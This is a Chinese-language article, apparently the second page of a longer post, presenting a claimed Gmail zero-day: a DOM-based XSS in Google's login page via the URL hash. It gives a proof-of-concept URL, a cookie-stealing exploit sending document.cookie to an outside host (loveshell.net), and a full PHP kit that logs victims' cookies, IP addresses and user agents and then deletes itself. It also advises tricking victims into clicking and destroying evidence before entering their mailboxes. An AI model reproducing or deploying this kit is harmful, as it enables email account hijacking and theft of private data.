二 我们的食物在哪里?
以上这些是我们的Gmail 0day的理论基础,而我们现在需要的只是一个满足1或者2的xss点了。
在一次无意地查看源文件中发现这个xss,这个injection漏洞出现在google的登陆页面里,非常恰当地满足了我们的条件1,如果拿到cookie理论上可以进任何google的服务哦,真够幸运,呵呵。打开mail登陆页面可以得到下面的地址:
https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2
这个地址的参数很多,而且很多会出现在页面里,但是google对安全还是很重视的,进来的参数要么是程序作了过滤,要么直接告诉你非法请求,但是我上次提到的html injection却完全是不受服务器方面影响的,因为问题会出现在客户端,服务器方面不会有察觉。那么html injection在哪里呢?察看页面源文件可以看到如下这个函数的定义:
以下是引用片段: <script> function utmx_section(){} (function(){var k='3068818340',d=document,l=d.location,c=d.cookie;function f(n){ if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return c.substring(i+n. length+1,j<0?c.length:j)}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash, t=h.length>1||!xx||!xx.indexOf(k+':bypasscache');d.write('<sc'+'ript src="'+ 'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com' +'/siteopt.js?utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+(t?'&utmxtime=' +new Date().valueOf():'')+(h?'&utmxhash='+h.substr(1):'')+ '" type="text/javascript" charset="utf-8"></sc'+'ript>')})(); </script> <script>utmx_section("title")</script> |
这段代码貌似是google用来统计的代码,他作什么用的我们就不讨论了,我们看看这段代码,首先定义了一个函数,然后接着就调用了这个函数,而这个函数里恰恰用了一个:
l=d.location
仅仅这一句就代表了用户的输入,然后接着看这个l:
h=l.hash
hash是一个url里#之后的部分,提交时是对服务器是不可见的。然后呢?接着居然是d.write操作,d是开始定义的document对象,这里重写了页面,并且参数里面有hash的内容,没有经过过滤地哦,很典型的一个html injection
漏洞。接下来就是关于利用了。
这里的利用也很简单,url里#后面的内容代表了这里的hash,保证好语法的正确就可以xss了。我这里提供简单的poc:
https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&passive=truel#"></script><script>alert('xss')</script>&1-=1
可以看到弹出了xss,可以证明我们可以运行代码了。
三 Exploit
上面可以执行代码,但是这里利用还是有点问题,传统的url xss都是嵌入到iframe里执行的,但是我们这里是https的页面,在测试时发现在ie里嵌入的iframe是取不到cookie信息的(貌似后来知道http的也是不行的),firefox倒是正常,于是想能不能直接对mail作一些操作呢?但是测试的时候发现即使是同一个域名下面https也是不能操作http页面的,而且在https里面带http内容的时候会出现提示,这就为利用带来了难度,但是既然拿到了cookie就拿到了一切的话,那么只要能得到cookie就可以了,用不受域名影响的window.location跳转吧!Exploit如下:
以下是引用片段: <script> foourl=''; window.location='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt>eval(unescape("url%3Ddocument.location.href%3Bcookie%3D.%3Bc%3D%27http%3A//www.loveshell.net/1.php%3Fc%3D%27+cookie+%27%26u%3D%27+url%3Bdocument.location.hash%3D%27%27%3Bdocument.location%3Dc%3B"))</scr'+'ipt>'; </script> |
中间执行的代码的内容是,将当前cookie作为参数跳转到
www.loveshell.net,然后我们在那个1.php里保存需要的cookie以及其他信息,然后再作第二次跳转到其他
网站,做好隐蔽工作之后我们就可以利用得到的cookie进入别人的邮箱了。整个的利用过程应该看起来是这个样子:
我们精心构造好一个地址,譬如 http://www.loveshell.net/contact.html ,里面包含有我们的exp,然后我们将这个地址骗取别人的点击,这之间可能你需要编造一个诱惑人的故事和寻找一个对
安全不太敏感的人,在别人打开这个地址之后我们将这个伪造的地址和可疑的东西销毁,然后就可以利用得到的cookie进入他的邮箱了。
这种xss还是比较难防御的,整个过程在客户端进行,只有从本质上提高代码的
安全性才能避免这样的问题,google的
安全认证方式也应该受到质疑。到现在google还没有修补该
漏洞哦,Just for fun :)
几个Exploit文件如下:
|
以下是引用片段: <?php //配置文件,不要改名 //骗别人访问contact.php就可以了 //contact.php可以改名,image.php和config.php不可以 $sitepath='http://127.0.0.1/test/gmail/';//你的image.php,config.php,contact.php放到一个目录里,这个目录的位置,记得加/ $gourl='http://www.163.com/';//偷取cookie后跳转位置 ?> <? //漏洞利用文件 include 'config.php'; ?> <script> foourl=''; window.status=''; window.location='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt>eval(unescape("url%3Ddocument.location.href%3Bcookie%3Ddocument.cookie%3Bc%3D%27<?php echo $sitepath?>image.php%3Fc%3D%27+cookie+%27%26u%3D%27+url%3Bdocument.location.hash%3D%27%27%3Bdocument.location%3Dc%3B"))</scr'+'ipt>'; </script>
<? //取cookie文件 include 'config.php'; ?> <?php if($_GET[c]) { $file=fopen("fuckgoogle.php","a+"); fputs($file,"<?php die();?>"."|||Cookie:$_GET[c]|||user-agent:$_SERVER[HTTP_USER_AGENT]|||REMOTE_ADDR:$_SERVER[REMOTE_ADDR]|||REFERER:$_SERVER[HTTP_REFERER]|||url:$_GET[u]\r\n"); fclose($file); } else { $file=fopen("fuckgoogle.txt","a+"); fputs($file,"<?php die();?>"."|||Cookie:$_GET[c]|||user-agent:$_SERVER[HTTP_USER_AGENT]|||REMOTE_ADDR:$_SERVER[REMOTE_ADDR]|||REFERER:$_SERVER[HTTP_REFERER]|||url:$_GET[u]\r\n"); fclose($file); } @unlink('contact.php'); ?> <script> document.location='<?php echo $gourl?>'; </script> |
上一页 [1] [2]